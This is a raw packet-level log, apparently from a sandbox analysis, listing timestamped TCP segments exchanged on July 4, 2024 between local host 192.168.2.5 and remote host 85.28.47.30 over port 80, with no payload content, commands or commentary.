Jul 4, 2024 22:20:31.229931116 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.229943037 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.229948044 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.229954958 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.229965925 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.229975939 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.229986906 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.229990005 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.230003119 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.230024099 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.230600119 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.230611086 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.230619907 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.230629921 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.230642080 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.230648994 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.230653048 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.230665922 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.230668068 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.230679035 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.230679035 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.230704069 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.230726957 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.231144905 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.231157064 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.231164932 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.231174946 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.231184959 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.231190920 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.231199980 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.231210947 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.231211901 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.231226921 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.231230974 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.231251955 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.231273890 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.231733084 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.231777906 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.231801033 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.231811047 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.231837988 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.231849909 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.231873035 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.231884003 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.231898069 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.231909990 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.231918097 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.231920958 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.231940985 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.231950045 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.232162952 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.232175112 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.232183933 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.232211113 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.232232094 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.232398033 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.232409954 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.232419968 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.232429981 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.232440948 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.232448101 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.232450962 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.232464075 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.232470989 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.232476950 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.232490063 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.232511044 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.232775927 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.232786894 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.232798100 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.232808113 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.232815981 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.232821941 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.232827902 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.232836962 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.232845068 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.232856989 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.232861996 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.232882977 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.232928038 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.233182907 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.233194113 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.233205080 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.233227015 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.233246088 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.234180927 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.234231949 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.234297991 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.234308958 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.234343052 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.234482050 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.234493017 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.234503031 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.234513044 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.234524012 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.234529972 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.234543085 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.234558105 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.234841108 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.234849930 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.234911919 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.235104084 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.235114098 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.235129118 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.235140085 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.235148907 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.235148907 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.235172033 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.235184908 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.235271931 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.235282898 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.235292912 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.235304117 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.235315084 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.235315084 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.235343933 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.235353947 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.235387087 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.235399008 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.235407114 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.235423088 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.235440016 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.238306999 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.238354921 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.238411903 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.238454103 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.238490105 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.238533020 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.238570929 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.238581896 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.238593102 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.238614082 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.238632917 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.238811016 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.238822937 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.238831997 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.238843918 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.238853931 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.238857031 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.238866091 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.238878012 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.238882065 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.238902092 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.238913059 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.239284992 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.239295006 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.239335060 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.239430904 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.239442110 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.239451885 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.239461899 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.239473104 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.239475965 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.239484072 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.239495039 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.239500046 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.239518881 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.239531040 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.239811897 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.239821911 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.239835978 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.239846945 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.239857912 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.239859104 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.239886045 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.239898920 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.240072966 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.240083933 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.240120888 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.323085070 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.323096991 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.323107004 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.323160887 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.323196888 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.323208094 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.323218107 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.323227882 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.323244095 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.323259115 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.323402882 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.323421955 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.323447943 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.323470116 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.323479891 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.323492050 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.323502064 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.323523998 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.323549032 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.323657990 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.323668003 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.323678970 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.323704958 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.323723078 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.323803902 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.323815107 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.323823929 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.323848009 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.323873043 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.324043989 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.324054956 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.324064970 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.324091911 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.324095964 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.324107885 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.324115992 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.324120045 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.324132919 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.324142933 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.324166059 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.324191093 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.324702978 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.324713945 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.324727058 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.324738026 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.324752092 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.324778080 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.324948072 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.324958086 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.324995995 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.325005054 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.325016022 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.325025082 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.325042009 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.325051069 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.325052023 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.325068951 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.325236082 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.325851917 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.325917959 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.325952053 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.325963974 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.326000929 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.326116085 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.326159954 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.326190948 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.326201916 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.326232910 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.326354980 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.326364994 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.326375008 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.326384068 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.326401949 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.326417923 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.326729059 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.326740026 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.326750040 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.326761961 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.326775074 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.326786995 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.326816082 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.361680031 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.369152069 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.552252054 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.552310944 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.552313089 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.552321911 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.552346945 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.552360058 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.552388906 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.552428007 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.552465916 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.552475929 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.552505016 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.552517891 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.552655935 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.552665949 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.552676916 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.552687883 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.552691936 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.552700043 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.552705050 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.552725077 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.552763939 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.552987099 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.553000927 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.553011894 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.553029060 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.553035975 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.553040028 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.553051949 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.553052902 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.553066015 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.553086996 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.553348064 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.553359032 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.553369999 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.553379059 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.553390980 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.553395987 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.553396940 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.553437948 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.553448915 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.553637028 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.553647995 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.553673029 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.553698063 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.553757906 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.553769112 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.553777933 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.553788900 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.553790092 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.553801060 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.553812027 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.553812981 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.553819895 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.553823948 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.553834915 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.553847075 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.553848982 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.553858995 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.553864002 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.553885937 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.553910971 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.554516077 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.554532051 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.554543972 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.554554939 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.554567099 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.554572105 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.554572105 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.554572105 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.554579020 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.554589033 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.554593086 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.554608107 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.554610014 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.554620981 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.554624081 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.554631948 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.554649115 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.554671049 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.555277109 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.555289030 CEST	80	49704	85.28.47.30	192.168.2.5
